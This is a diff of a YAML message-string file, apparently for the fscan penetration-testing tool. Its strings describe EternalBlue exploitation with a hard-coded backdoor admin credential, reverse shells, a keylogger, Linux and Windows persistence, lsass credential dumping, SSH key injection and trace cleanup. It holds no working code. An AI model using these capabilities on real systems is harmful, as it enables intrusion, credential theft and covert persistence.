supports port 445" +ms17010_vuln_banner: + other: "MS17-010 vulnerability ({{.Arg1}})" +ms17010_not_vulnerable: + other: "Target is not vulnerable to MS17-010" +ms17010_exploit_header: + other: "=== MS17-010 exploitation result - {{.Arg1}} ===" +ms17010_exploit_check_failed: + other: "[Vulnerability check failed] {{.Arg1}}" +ms17010_exploit_not_vulnerable: + other: "[Vulnerability status] Target is not vulnerable to MS17-010" +ms17010_exploit_confirmed: + other: "[Vulnerability confirmed] MS17-010 vulnerability exists" +ms17010_exploit_os: + other: "[Operating system] {{.Arg1}}" +ms17010_exploit_backdoor_found: + other: "[Backdoor check] DOUBLEPULSAR backdoor found" +ms17010_exploit_backdoor_not_found: + other: "[Backdoor check] DOUBLEPULSAR backdoor not found" +ms17010_exploit_mode: + other: "[Exploit mode] {{.Arg1}}" +ms17010_exploit_start_attack: + other: "[Exploit status] Starting EternalBlue attack..." +ms17010_exploit_failed: + other: "[Exploit result] Exploit failed: {{.Arg1}}" +ms17010_exploit_success: + other: "[Exploit result] Exploit completed successfully" +ms17010_exploit_bind_hint: + other: "[Connection hint] Use the following command to connect to Bind Shell:" +ms17010_exploit_add_hint: + other: "[Access hint] Administrator account added. Connect with:" +ms17010_exploit_add_credential: + other: " Username: sysadmin Password: 1qaz@WSX!@#4" +ms17010_exploit_guest_hint: + other: "[Access hint] Guest account enabled. Remote connection is available" +ms17010_exploit_detect_only: + other: "[Exploit mode] Detection only (shellcode not configured)" +ms17010_exploit_shellcode_hint: + other: "[Hint] Use -sc to configure shellcode for exploitation" +ms17010_exploit_supported_modes: + other: " Supported modes: bind, add, guest, or custom shellcode" +ms17010_base64_decode_failed: + other: "base64 decode failed" +ms17010_aes_cipher_failed: + other: "Failed to create AES cipher block" +ms17010_ciphertext_too_short: + other: "Ciphertext is too short" +ms17010_invalid_padding: + other: "Invalid padding" +ms17010_padding_check_failed: + other: "Padding validation failed" +ms17010_connection_error: + other: "Connection error" +ms17010_set_timeout_error: + other: "Set timeout error" +ms17010_send_protocol_error: + other: "Send protocol request error" +ms17010_smbv1_unsupported: + other: "Target may not support SMBv1" +ms17010_smbv1_rejected: + other: "SMBv1 protocol negotiation rejected" +ms17010_send_session_error: + other: "Send session request error" +ms17010_session_failed: + other: "SMB session setup failed" +ms17010_session_rejected: + other: "SMB session rejected" +ms17010_send_tree_error: + other: "Send tree connect request error" +ms17010_read_tree_error: + other: "Read tree connect response error" +ms17010_tree_response_incomplete: + other: "Tree connect response incomplete" +ms17010_send_pipe_error: + other: "Send pipe request error" +ms17010_read_pipe_error: + other: "Read pipe response error" +ms17010_pipe_response_incomplete: + other: "Pipe response incomplete" +ms17010_bind_shellcode_decrypt_failed: + other: "Failed to decrypt bind shellcode" +ms17010_add_shellcode_decrypt_failed: + other: "Failed to decrypt add shellcode" +ms17010_guest_shellcode_decrypt_failed: + other: "Failed to decrypt guest shellcode" +ms17010_shellcode_file_read_failed: + other: "Failed to read shellcode file" +ms17010_invalid_shellcode: + other: "Invalid shellcode" +ms17010_shellcode_decode_failed: + other: "Shellcode decode failed" +findnet_discovery_failed: + other: "Network discovery failed" +findnet_hostname: + other: "Hostname: {{.Arg1}}" +findnet_ipv4_count: + other: "IPv4: {{.Arg1}}" +findnet_ipv6_count: + other: "IPv6: {{.Arg1}}" +findnet_complete: + other: "Network information collection completed" +findnet_rpc_request1_failed: + other: "Failed to send RPC request 1" +findnet_rpc_response1_failed: + other: "Failed to read RPC response 1" +findnet_rpc_request2_failed: + other: "Failed to send RPC request 2" +findnet_rpc_response2_failed: + other: "Failed to read RPC response 2" +netbios_port_only: + other: "NetBIOS plugin only supports ports 137 and 139" +netbios_info_not_found: + other: "No valid NetBIOS information found" +netbios_name_connect_failed: + other: "Failed to connect to NetBIOS name service" +netbios_query_send_failed: + other: "Failed to send NetBIOS query" +netbios_response_read_failed: + other: "Failed to read NetBIOS response" +netbios_session_connect_failed: + other: "Failed to connect to NetBIOS session service" +netbios_smb_negotiate_send_failed: + other: "Failed to send SMB negotiate request 1" +netbios_smb_negotiate_read_failed: + other: "Failed to read SMB negotiate response 1" +netbios_smb_session_send_failed: + other: "Failed to send SMB Session Setup" +netbios_smb_session_read_failed: + other: "Failed to read SMB Session Setup response" +netbios_response_too_short: + other: "NetBIOS response data is too short" +netbios_no_name_records: + other: "No NetBIOS name records" +netbios_smb_response_too_short: + other: "SMB response data is too short" +rdp_port_closed: + other: "RDP port is not open" +rdp_remote_desktop_service: + other: "RDP remote desktop service" +ssh_service_banner: + other: "SSH service: {{.Arg1}}" +kafka_auth_required: + other: "Kafka (authentication required)" +oracle_connect_failed: + other: "Failed to connect to Oracle database" +oracle_default_account_banner: + other: "Unauthorized access - default account" +ftp_anonymous_access_detail: + other: "FTP {{.Arg1}} anonymous access - {{.Arg2}}:{{.Arg3}}" +ftp_anonymous_banner: + other: "FTP anonymous access" +unauthorized_access: + other: "Unauthorized access" +redis_ping_failed: + other: "redis PING test failed: {{.Arg1}}" +redis_service_pong: + other: "Redis service (PONG response)" +redis_service_auth_required: + other: "Redis service (authentication required)" +redis_service_protocol_response: + other: "Redis service (protocol response)" +redis_service_plain: + other: "Redis service" +redis_key_file_read_failed: + other: "Failed to read key file {{.Arg1}}: {{.Arg2}}" +redis_key_file_empty: + other: "Key file {{.Arg1}} is empty" +redis_host_format_invalid: + other: "Invalid host address format" +smtp_anonymous_mail_allowed: + other: "Unauthorized access - anonymous mail sending allowed" +smtp_open_relay: + other: "Unauthorized access - open relay" +smtp_vrfy_user_enum: + other: "Unauthorized access - VRFY user enumeration ({{.Arg1}})" +smtp_expn_list_enum: + other: "Unauthorized access - EXPN mailing list enumeration ({{.Arg1}})" +smtp_mail_service_info: + other: "SMTP mail service ({{.Arg1}})" +smtp_mail_service: + other: "SMTP mail service" +auth_required: + other: "Authentication required" +empty_response_received: + other: "Received empty response" +unexpected_status_code: + other: "Unexpected status code" +unknown_status_code: + other: "Unknown error, status code" +ldap_all_dn_failed: + other: "All DN formats failed" +memcached_access_failed: + other: "Failed to access Memcached service" +memcached_connect_failed: + other: "Failed to connect to Memcached service" +rsync_connect_failed: + other: "Failed to connect to Rsync service" +rsync_modules_failed: + other: "Failed to get module list" +rsync_unauth_modules: + other: "Unauthorized access - available modules: {{.Arg1}}" +rsync_service_info: + other: "Rsync service ({{.Arg1}})" +rsync_file_sync_service: + other: "Rsync file synchronization service" +rabbitmq_guest_default_password: + other: "Unauthorized access - guest default password" +cassandra_no_auth_cluster: + other: "Cassandra (no authentication, cluster: {{.Arg1}})" +cassandra_auth_required: + other: "Cassandra (authentication required)" +telnet_unauth_service: + other: "Telnet remote terminal service (unauthorized access)" +telnet_auth_required: + other: "Telnet remote terminal service (authentication required)" +telnet_password_only: + other: "Telnet remote terminal service (password only)" +telnet_custom_welcome: + other: "Telnet remote terminal service (custom welcome: {{.Arg1}})" +telnet_remote_terminal_service: + other: "Telnet remote terminal service" +postgresql_trust_unauth: + other: "Unauthorized access (trust authentication)" +postgresql_trust_unauth_version: + other: "Unauthorized access (trust authentication) - {{.Arg1}}" +activemq_stomp_send_failed: + other: "Failed to send STOMP request" +activemq_stomp_read_failed: + other: "Failed to read STOMP response" +activemq_stomp_empty_response: + other: "STOMP returned no response data" +activemq_stomp_auth_error: + other: "STOMP authentication error" +activemq_stomp_unknown_response: + other: "Unknown STOMP response format" +smb_port_only: + other: "SMB plugin only supports ports 139 and 445" +smb_probe_failed: + other: "SMB protocol probe failed" +smb_unauth_domain_access: + other: "SMB {{.Arg1}} unauthorized access - {{.Arg2}}\\{{.Arg3}}:{{.Arg4}}" +smb_unauth_access: + other: "SMB {{.Arg1}} unauthorized access - {{.Arg2}}:{{.Arg3}}" +smb_anonymous_access_detail: + other: "SMB {{.Arg1}} anonymous access - {{.Arg2}}:{{.Arg3}}" +smb_anonymous_banner: + other: "SMB anonymous access" +smbv1_negotiate_send_failed: + other: "Failed to send SMBv1 negotiate packet" +smbv1_negotiate_read_failed: + other: "Failed to read SMBv1 negotiate response: {{.Arg1}}" +smbv1_session_send_failed: + other: "Failed to send SMBv1 Session Setup" +smbv1_session_read_failed: + other: "Failed to read SMBv1 Session Setup response" +smbv2_negotiate_send_failed: + other: "Failed to send SMBv2 negotiate packet" +smbv2_negotiate_read_failed: + other: "Failed to read SMBv2 negotiate response" +smbv2_session_send_failed: + other: "Failed to send SMBv2 Session Setup" +smbv2_session_read_failed: + other: "Failed to read SMBv2 Session Setup response" +smbv2_ntlm_send_failed: + other: "Failed to send SMBv2 NTLM packet" +smbv2_ntlm_read_failed: + other: "Failed to read SMBv2 NTLM response" +connection_timeout: + other: "Connection timed out" +netbios_header_too_short: + other: "NetBIOS header too short" +message_length_too_large: + other: "Message length too large" +local_target: + other: "Target: {{.Arg1}}" +local_platform: + other: "Platform: {{.Arg1}}" +local_listen_port: + other: "Listen port: {{.Arg1}}" +local_output_file: + other: "Output file: {{.Arg1}}" +local_start_time: + other: "Start time: {{.Arg1}}" +unsupported_platform: + other: "Unsupported platform: {{.Arg1}}" +unsupported_os: + other: "Unsupported operating system: {{.Arg1}}" +connection_failed_plain: + other: "Connection failed" +listen_port_failed: + other: "Failed to listen on port" +command_timeout: + other: "Command execution timed out" +command_exec_failed: + other: "Command execution failed: {{.Arg1}}" +command_success_no_output: + other: "(Command completed successfully with no output)" +command_error_with_output: + other: "Error: {{.Arg1}}\n{{.Arg2}}" +reverseshell_header: + other: "=== Go native reverse shell ===" +reverseshell_error: + other: "Reverse shell error: {{.Arg1}}" +reverseshell_done: + other: "✓ Reverse shell completed" +forwardshell_header: + other: "=== Forward shell server ===" +forwardshell_server_error: + other: "Forward shell server error: {{.Arg1}}" +forwardshell_done: + other: "✓ Forward shell service completed" +socks5_header: + other: "=== SOCKS5 proxy server ===" +socks5_server_error: + other: "SOCKS5 proxy server error: {{.Arg1}}" +socks5_done: + other: "✓ SOCKS5 proxy completed" +socks5_handshake_read_failed: + other: "Failed to read handshake request" +socks5_unsupported_version: + other: "Unsupported SOCKS version" +socks5_handshake_write_failed: + other: "Failed to send handshake response" +socks5_request_read_failed: + other: "Failed to read connection request" +socks5_invalid_request: + other: "Invalid SOCKS5 request" +socks5_unsupported_command: + other: "Unsupported command" +ipv4_address_invalid: + other: "Invalid IPv4 address format" +domain_format_invalid: + other: "Invalid domain format" +domain_length_invalid: + other: "Invalid domain length" +ipv6_address_invalid: + other: "Invalid IPv6 address format" +socks5_unsupported_address_type: + other: "Unsupported address type" +socks5_target_connect_failed: + other: "Failed to connect to target server" +local_address_unavailable: + other: "Unable to get local address" +socks5_success_response_failed: + other: "Failed to send success response" +socks5_proxy_connection_established: + other: "Proxy connection established: {{.Arg1}}" +keylogger_header: + other: "=== Keylogger ===" +keylogger_output_permission_failed: + other: "Output file permission check failed: {{.Arg1}}" +platform_requirement_failed: + other: "Platform requirement check failed: {{.Arg1}}" +keylogger_failed: + other: "Keylogging failed: {{.Arg1}}" +keylogger_failed_plain: + other: "Keylogging failed" +keylogger_done: + other: "✓ Keylogging completed" +keylogger_event_count: + other: "Captured event count: {{.Arg1}}" +keylogger_log_file: + other: "Log file: {{.Arg1}}" +output_file_create_failed: + other: "Unable to create output file {{.Arg1}}" +output_file_open_failed: + other: "Unable to open output file" +keylogger_log_header: + other: "=== Keylog ===" +keylogger_header_write_failed: + other: "Failed to write header information" +keylogger_entry_write_failed: + other: "Failed to write keylog entry" +keylogger_demo_windows: + other: "Demo keylog - Windows platform" +keylogger_demo_linux: + other: "Demo keylog - Linux platform" +keylogger_demo_darwin: + other: "Demo keylog - macOS platform" +command_read_failed: + other: "Failed to read command" +local_target_file: + other: "Target file: {{.Arg1}}" +persistence_file_required: + other: "Specify target file path with -persistence-file" +target_file_not_specified: + other: "Target file not specified" +target_file_not_exist: + other: "Target file does not exist: {{.Arg1}}" +copy_file_failed: + other: "✗ Failed to copy file: {{.Arg1}}" +file_copied_to: + other: "✓ File copied to: {{.Arg1}}" +persistence_complete_summary: + other: "Persistence completed: success({{.Arg1}}) total({{.Arg2}})" +crontask_linux_only: + other: "Cron task persistence only supports Linux" +crontab_unavailable: + other: "crontab command is unavailable" +crontask_header: + other: "=== Cron task persistence ===" +crontask_user_add_failed: + other: "✗ Failed to add user cron task: {{.Arg1}}" +crontask_user_added: + other: "✓ User crontab task added" +crontask_system_add_failed: + other: "✗ Failed to add system cron task: {{.Arg1}}" +crontask_system_added: + other: "✓ System cron task added: {{.Arg1}}" +crontask_at_add_failed: + other: "✗ Failed to add at task: {{.Arg1}}" +crontask_at_added: + other: "✓ at delayed task added" +crontask_anacron_add_failed: + other: "✗ Failed to add anacron task: {{.Arg1}}" +crontask_anacron_added: + other: "✓ anacron task added" +persistence_dir_create_failed: + other: "Unable to create persistence directory" +crontask_system_create_none: + other: "Unable to create any system cron task" +systemdservice_linux_only: + other: "System service persistence only supports Linux" +systemctl_unavailable: + other: "systemctl command is unavailable: {{.Arg1}}" +systemdservice_header: + other: "=== System service persistence ===" +systemdservice_create_failed: + other: "✗ Failed to create systemd service: {{.Arg1}}" +systemdservice_created: + other: "✓ systemd service created: {{.Arg1}}" +systemdservice_start_failed: + other: "✗ Failed to start service: {{.Arg1}}" +systemdservice_started: + other: "✓ Service enabled and started" +systemdservice_user_create_failed: + other: "✗ Failed to create user service: {{.Arg1}}" +systemdservice_user_created: + other: "✓ User service created: {{.Arg1}}" +systemdservice_timer_create_failed: + other: "✗ Failed to create timer service: {{.Arg1}}" +systemdservice_timer_created: + other: "✓ systemd timer created" +systemdservice_complete_summary: + other: "System service persistence completed: success({{.Arg1}}) total({{.Arg2}})" +service_dir_create_failed: + other: "Unable to create service directory" +systemdservice_create_none: + other: "Unable to create any systemd service file" +service_operation_error: + other: "Service operation error" +ldpreload_linux_only: + other: "LD_PRELOAD persistence only supports Linux" +ldpreload_so_required: + other: "Target file must be a .so dynamic library: {{.Arg1}}" +invalid_file_type: + other: "Invalid file type" +ldpreload_header: + other: "=== LD_PRELOAD persistence ===" +ldpreload_copy_system_failed: + other: "✗ Failed to copy file to system directory: {{.Arg1}}" +ldpreload_env_add_failed: + other: "✗ Failed to add environment variable: {{.Arg1}}" +ldpreload_env_added: + other: "✓ Added to global environment variables" +ldpreload_shell_add_failed: + other: "✗ Failed to add shell configuration: {{.Arg1}}" +ldpreload_shell_added: + other: "✓ Added to shell configuration: {{.Arg1}}" +ldpreload_config_create_failed: + other: "✗ Failed to create ld config: {{.Arg1}}" +ldpreload_config_created: + other: "✓ ld preload config created" +ldpreload_complete_summary: + other: "LD_PRELOAD persistence completed: success({{.Arg1}}) total({{.Arg2}})" +ldpreload_system_lib_dir_not_found: + other: "No suitable system library directory found" +ldpreload_shell_config_modify_none: + other: "Unable to modify any shell configuration file" +cleaner_removed: + other: "[Clean] {{.Arg1}}" +cleaner_history_removed: + other: "[Clean] removed fscan records from {{.Arg1}}" +sshkey_mkdir_failed: + other: "[Failed] {{.Arg1}}: unable to create .ssh directory: {{.Arg2}}" +sshkey_generate_failed: + other: "[Failed] {{.Arg1}}: key generation failed: {{.Arg2}}" +sshkey_authorized_read_failed: + other: "[Failed] {{.Arg1}}: failed to read authorized_keys: {{.Arg2}}" +sshkey_public_exists: + other: "[Skip] {{.Arg1}}: public key already exists" +sshkey_authorized_write_failed: + other: "[Failed] {{.Arg1}}: unable to write authorized_keys: {{.Arg2}}" +sshkey_private_save_failed: + other: "[Failed] {{.Arg1}}: failed to save private key: {{.Arg2}}" +sshkey_injected: + other: "[Success] {{.Arg1}}: public key injected into {{.Arg2}}, private key saved as {{.Arg3}}" +minidump_admin_required: + other: "Administrator privileges required" +minidump_load_dll_failed: + other: "Failed to load system DLL: {{.Arg1}}" +minidump_try_direct: + other: "[*] Trying direct memory dump..." +minidump_av_skip_direct: + other: "[*] Security software protection detected, skipping direct dump" +minidump_try_comsvcs: + other: "[*] Trying comsvcs.dll method..." +minidump_try_regsave: + other: "[*] Trying reg save registry export..." +minidump_all_failed: + other: "[!] All methods failed" +minidump_all_methods_failed: + other: "All credential extraction methods failed" +minidump_find_lsass_failed: + other: " Failed to find lsass.exe: {{.Arg1}}" +minidump_privilege_failed: + other: " Privilege escalation failed: {{.Arg1}}" +minidump_direct_failed: + other: " Direct dump failed: {{.Arg1}}" +minidump_method_direct: + other: "Direct memory dump" +minidump_comsvcs_failed: + other: " comsvcs.dll failed: {{.Arg1}}" +minidump_hive_export_failed: + other: " ✗ {{.Arg1}} export failed" +minidump_regsave_done: + other: "[+] Registry hive export completed, parse offline with secretsdump" +minidump_method_success: + other: "[+] {{.Arg1}} succeeded: {{.Arg2}} ({{.Arg3}} bytes)" +minidump_load_named_dll_failed: + other: "Failed to load {{.Arg1}}" +minidump_find_proc_failed: + other: "Failed to find {{.Arg1}} function" +minidump_snapshot_create_failed: + other: "Failed to create process snapshot" +minidump_first_process_failed: + other: "Failed to get first process" +minidump_process_name_convert_failed: + other: "Failed to convert process name" +minidump_process_not_found: + other: "Process not found: {{.Arg1}}" +minidump_open_process_token_failed: + other: "Failed to open process token" +minidump_privilege_name_convert_failed: + other: "Failed to convert privilege name" +minidump_lookup_privilege_failed: + other: "Failed to look up privilege value" +minidump_adjust_token_failed: + other: "Failed to adjust token privileges" +minidump_current_process_failed: + other: "Failed to get current process handle" +minidump_timeout: + other: "Memory dump timed out (120 seconds)" +minidump_write_dump_failed: + other: "Failed to write dump file" +minidump_open_process_failed: + other: "Failed to open process" +file_create_failed: + other: "Failed to create file" +local_step_failed: + other: "[Failed] {{.Arg1}}: {{.Arg2}}" +local_step_success: + other: "[Success] {{.Arg1}}" +local_step_success_detail: + other: "[Success] {{.Arg1}} ({{.Arg2}})" +local_step_success_arrow: + other: "[Success] {{.Arg1}} -> {{.Arg2}}" +winregistry_current_user_run: + other: "Current user Run" +winregistry_local_machine_run: + other: "Local machine Run" +winregistry_current_user_runonce: + other: "Current user RunOnce" +winregistry_step_success: + other: "[Success] {{.Arg1}}: {{.Arg2}}\\{{.Arg3}}" +winifeo_sticky_keys: + other: "Sticky Keys (Shift x5)" +winifeo_accessibility: + other: "Accessibility (Win+U)" +winifeo_narrator: + other: "Narrator" +winlogon_userinit_append: + other: "Userinit append" +winlogon_shell_append: + other: "Shell append" +winbits_create_task_failed: + other: "[Failed] Create task: {{.Arg1}}" +winbits_guid_extract_failed: + other: "[Failed] Unable to extract task GUID" +winbits_task_created: + other: "[Success] Created task: {{.Arg1}} ({{.Arg2}})" +winbits_add_file: + other: "Add file" +winbits_set_callback: + other: "Set callback" +winbits_set_retry: + other: "Set retry" +winbits_resume_task: + other: "Resume task" +winstartup_user_folder: + other: "User startup folder" +winstartup_common_folder: + other: "Common startup folder" +cleaner_restore_winlogon_shell: + other: "[Restore] Winlogon Shell: {{.Arg1}} -> {{.Arg2}}" +cleaner_restore_winlogon_userinit: + other: "[Restore] Winlogon Userinit: {{.Arg1}} -> {{.Arg2}}" +cleaner_ifeo_removed: + other: "[Clean] IFEO: {{.Arg1}}" +cleaner_registry_removed: + other: "[Clean] Registry: {{.Arg1}}\\{{.Arg2}}" +cleaner_schtask_removed: + other: "[Clean] Scheduled task: {{.Arg1}}" +cleaner_service_removed: + other: "[Clean] Service: {{.Arg1}}" +cleaner_startup_removed: + other: "[Clean] Startup folder: {{.Arg1}}" +cleaner_bits_removed: + other: "[Clean] BITS: {{.Arg1}}" +cleaner_wmi_removed: + other: "[Clean] WMI event subscription" +cleaner_prefetch_removed: + other: "[Clean] Prefetch: {{.Arg1}}" +systeminfo_antivirus_process_count: + other: "{{.Arg1}} ({{.Arg2}} processes)" +powershell_exec_failed: + other: "PowerShell execution failed" +command_output: + other: "output" +webtitle_no_fingerprint_skip_poc: + other: "WebTitle {{.Arg1}} has no matching fingerprint, skipping POC scan" +webtitle_cdn_waf_skip_poc: + other: "WebTitle {{.Arg1}} detected {{.Arg2}}, skipping POC scan" +webtitle_trigger_fingerprint_poc: + other: "WebTitle {{.Arg1}} triggered fingerprint POC scan: {{.Arg2}}" +webpoc_disabled: + other: "POC scan is disabled" +webpoc_full_scan_mode: + other: "WebPOC {{.Arg1}} full scan mode" +web_result_weak_credential: + other: "Weak credential" +web_result_anonymous_access: + other: "Anonymous access" +web_result_vulnerability: + other: "Vulnerability" +web_result_weak_credential_detail: + other: "Weak credential: {{.Arg1}}" # ========================= Redis Plugin Messages ========================= redis_reconnect_failed: @@ -564,9 +1350,6 @@ keylogger_save_failed: keylogger_no_input: other: "No keyboard input captured" -# Environment info -envinfo_sensitive: - other: "Found sensitive environment variable: {{.Arg1}}" # Windows WMI winwmi_success: @@ -578,9 +1361,6 @@ cleaner_success: cleaner_history_found: other: "Found history file: {{.Arg1}} (requires manual cleanup)" -# Downloader -downloader_success: - other: "File download completed: {{.Arg1}} -> {{.Arg2}} (size: {{.Arg3}} bytes)" # Forward shell forwardshell_complete: @@ -594,39 +1374,30 @@ forwardshell_client_connected: forwardshell_read_failed: other: "Failed to read client command: {{.Arg1}}" -# AV detection -avdetect_load_failed: - other: "Failed to load AV database: {{.Arg1}}" -avdetect_loaded: - other: "Loaded {{.Arg1}} AV product info" -avdetect_found: - other: "Detected AV: {{.Arg1}} ({{.Arg2}} processes)" -avdetect_process: - other: " - {{.Arg1}}" +# IFEO image hijacking +winifeo_success: + other: "IFEO image hijacking completed: {{.Arg1}} targets" + +# BITS persistence +winbits_success: + other: "BITS persistence completed: {{.Arg1}}" + +# Winlogon persistence +winlogon_success: + other: "Winlogon persistence completed: {{.Arg1}} entries" # Windows startup folder winstartup_success: other: "Windows startup folder persistence completed: {{.Arg1}} methods" -# File info -fileinfo_sensitive: - other: "Found sensitive file: {{.Arg1}}" -fileinfo_potential: - other: "Found potentially sensitive file: {{.Arg1}}" - -# DC info -dcinfo_not_joined: - other: "Current computer is not joined to a domain" -dcinfo_success: - other: "Domain controller info collection completed: {{.Arg1}} categories succeeded" - # Windows service winservice_success: other: "Windows service persistence completed: {{.Arg1}} items" -# Shell environment -shellenv_success: - other: "Shell environment persistence completed: {{.Arg1}} methods succeeded" + +# SSH Key injection +sshkey_success: + other: "SSH key injection completed: {{.Arg1}} users" # LD_PRELOAD ldpreload_success: @@ -661,6 +1432,9 @@ systemdservice_success: other: "Systemd service persistence completed: {{.Arg1}} methods succeeded" # System info +minidump_regsave_success: + other: "Registry hive export completed (SAM/SECURITY/SYSTEM)" + systeminfo_start: other: "Starting system information collection" systeminfo_os: @@ -693,6 +1467,60 @@ systeminfo_distro_exists: other: "Distribution: /etc/os-release exists" systeminfo_whoami: other: "Current User (whoami): {{.Arg1}}" +systeminfo_iface: + other: "Interface {{.Arg1}}: {{.Arg2}} (MAC: {{.Arg3}})" +systeminfo_privilege: + other: "Privilege Level: {{.Arg1}}" +systeminfo_privilege_group: + other: "Admin Group: {{.Arg1}}" +systeminfo_id_info: + other: "User Info: {{.Arg1}}" +systeminfo_firewall: + other: "Firewall: {{.Arg1}}" +systeminfo_firewall_rules: + other: "Firewall Rules: {{.Arg1}}" +systeminfo_patches: + other: "Installed Patches: {{.Arg1}}" +systeminfo_antivirus: + other: "Antivirus Detected: {{.Arg1}}" +systeminfo_av_process: + other: " - {{.Arg1}}" +systeminfo_sudo: + other: "Sudo Privileges: {{.Arg1}}" +systeminfo_macos_detail: + other: "macOS: {{.Arg1}}" +systeminfo_sensitive_env: + other: "Sensitive Env Var: {{.Arg1}}={{.Arg2}}" +systeminfo_sensitive_file: + other: "Sensitive File: {{.Arg1}}" +systeminfo_dc_detected: + other: "Domain detected: {{.Arg1}}" +systeminfo_dc_connect_failed: + other: "Domain controller connection failed: {{.Arg1}}" +systeminfo_dc_basedn: + other: "Domain Base DN: {{.Arg1}}" +systeminfo_dc_created: + other: "Domain created: {{.Arg1}}" +systeminfo_dc_func_level: + other: "Domain functional level: {{.Arg1}}" +systeminfo_dc_controllers: + other: "Domain controllers: {{.Arg1}}" +systeminfo_dc_controller_detail: + other: " - {{.Arg1}} ({{.Arg2}}) {{.Arg3}}" +systeminfo_dc_admins: + other: "Domain admins: {{.Arg1}}" +systeminfo_dc_admin_detail: + other: " - {{.Arg1}} ({{.Arg2}})" +systeminfo_dc_users: + other: "Domain users: {{.Arg1}}" +systeminfo_dc_computers: + other: "Domain computers: {{.Arg1}}" +systeminfo_dc_computer_detail: + other: " - {{.Arg1}} ({{.Arg2}})" +systeminfo_dc_gpos: + other: "Group policies: {{.Arg1}}" +systeminfo_dc_gpo_detail: + other: " - {{.Arg1}} [{{.Arg2}}]" # Windows scheduled task winschtask_success: @@ -708,6 +1536,14 @@ minidump_panic: minidump_success: other: "Successfully dumped lsass.exe memory to file: {{.Arg1}} (size: {{.Arg2}} bytes)" +# Local plugin common errors +local_pe_not_specified: + other: "No PE file specified, use -win-pe parameter" +local_pe_not_found: + other: "PE file not found: {{.Arg1}}" +local_invalid_pe: + other: "Invalid PE file: {{.Arg1}}" + # ========================= WebScan Messages ========================= webscan_target_url_failed: other: "Failed to build target URL: {{.Arg1}}" @@ -739,10 +1575,100 @@ webscan_request_restricted: other: "POC HTTP request {{.Arg1}} restricted: {{.Arg2}}" webscan_response_parse_failed: other: "Response parse failed: {{.Arg1}}" +webscan_err_invalid_url: + other: "Invalid URL format" +webscan_err_empty_target: + other: "Target URL is empty" +webscan_err_poc_not_found: + other: "No matching POC found" +webscan_err_poc_load_failed: + other: "POC load failed" +fingerprint_enhanced_parse_failed: + other: "Failed to parse enhanced fingerprint database" +webscan_cel_env_not_initialized: + other: "Base CEL environment is not initialized" +webscan_expression_compile_failed: + other: "Expression compile failed" +webscan_program_create_failed: + other: "Program creation failed" +webscan_expression_eval_failed: + other: "Expression evaluation failed" +webscan_request_execute_failed: + other: "Request execution failed" +webscan_request_body_read_failed: + other: "Failed to read request body" +webscan_response_body_process_failed: + other: "Failed to process response body" +webscan_http_client_init_failed: + other: "HTTP client initialization failed" +webscan_socks5_proxy_config_failed: + other: "SOCKS5 proxy configuration failed" +webscan_unsupported_proxy_type: + other: "Unsupported proxy type" +webscan_proxy_url_parse_failed: + other: "Proxy URL parse failed" +webscan_strmap_parse_failed: + other: "StrMap parse failed: key or value is not a string" +webscan_rulemap_key_invalid: + other: "RuleMap parse failed: key is not a string" +webscan_listmap_key_invalid: + other: "ListMap parse failed: key is not a string" +webscan_listmap_value_invalid: + other: "ListMap parse failed: value is not an array" +webscan_poc_load_one_failed: + other: "POC load failed {{.Arg1}}: {{.Arg2}}" +webscan_poc_parse_failed: + other: "POC parse failed" +webscan_poc_convert_failed: + other: "POC format conversion failed" +webscan_poc_file_read_failed: + other: "POC file read failed" +webscan_poc_dir_read_failed: + other: "Failed to read POC directory: {{.Arg1}}" +webscan_unknown_poc_format: + other: "Unknown POC format" +webscan_fscan_format_parse_failed: + other: "fscan format parse failed" +webscan_nuclei_format_parse_failed: + other: "nuclei format parse failed" +webscan_nuclei_no_http_rules: + other: "nuclei template has no valid HTTP rules" +webscan_xray_format_parse_failed: + other: "xray format parse failed" +webscan_xray_no_rules: + other: "xray POC has no valid rules" +webscan_afrog_format_parse_failed: + other: "afrog format parse failed" +webscan_afrog_no_rules: + other: "afrog POC has no valid rules" +webscan_vuln_detail_header: + other: "Target: {{.Arg1}}\n Vulnerability type: {{.Arg2}}\n Vulnerability name: {{.Arg3}}\n Details:" +webscan_vuln_author: + other: "Author: {{.Arg1}}" +webscan_vuln_references: + other: "References: {{.Arg1}}" +webscan_vuln_description: + other: "Description: {{.Arg1}}" +webscan_exec_env_error: + other: "Execution environment error" +webscan_request_parse_error: + other: "Request parse error" +webscan_request_create_error: + other: "Request creation error" +webscan_vuln_detected: + other: "Vulnerability detected {{.Arg1}} {{.Arg2}}" +webscan_vuln_detected_params: + other: "Vulnerability detected {{.Arg1}} {{.Arg2}} params: {{.Arg3}}" +webscan_http_request_error: + other: "HTTP request error" +webscan_request_send_error: + other: "Request send error" # Main entry param_error: other: "Parameter error: {{.Arg1}}" +param_exclusive: + other: "Parameters {{.Arg1}} are mutually exclusive, specify only one scan target\n -h: network host scan\n -u: Web URL scan\n -local: local information collection" error_generic: other: "Error: {{.Arg1}}" init_failed: @@ -761,3 +1687,131 @@ web_shutting_down: other: "Web server shutting down..." web_mode_not_supported: other: "Web mode not supported in this build, rebuild with: go build -tags web" + +# ========================= Debug Messages ========================= +debug_create_profiles_failed: + other: "Failed to create profiles directory: {{.Arg1}}" +debug_create_cpu_profile_failed: + other: "Failed to create CPU profile: {{.Arg1}}" +debug_start_cpu_profile_failed: + other: "Failed to start CPU profile: {{.Arg1}}" +debug_cpu_profile_started: + other: "CPU profiling started -> {{.Arg1}}/cpu.prof" +debug_create_trace_failed: + other: "Failed to create trace file: {{.Arg1}}" +debug_start_trace_failed: + other: "Failed to start trace: {{.Arg1}}" +debug_trace_started: + other: "Execution trace started -> {{.Arg1}}/trace.out" +debug_profiling_started: + other: "Profiling started, files will be saved to {{.Arg1}}/ when the program exits" +debug_cpu_profile_saved: + other: "CPU profile saved" +debug_trace_saved: + other: "Trace saved" +debug_create_mem_profile_failed: + other: "Failed to create memory profile: {{.Arg1}}" +debug_write_mem_profile_failed: + other: "Failed to write memory profile: {{.Arg1}}" +debug_mem_profile_saved: + other: "Memory profile saved -> {{.Arg1}}/mem.prof" +debug_create_goroutine_profile_failed: + other: "Failed to create goroutine profile: {{.Arg1}}" +debug_write_goroutine_profile_failed: + other: "Failed to write goroutine profile: {{.Arg1}}" +debug_goroutine_profile_saved: + other: "Goroutine profile saved -> {{.Arg1}}/goroutine.prof" +debug_profiles_saved: + other: "All profiling files saved to {{.Arg1}}/" +debug_view_methods: + other: "View methods:" +debug_cpu_flamegraph: + other: "CPU flamegraph" +debug_mem_flamegraph: + other: "Memory flamegraph" +debug_goroutine_analysis: + other: "Goroutine analysis" 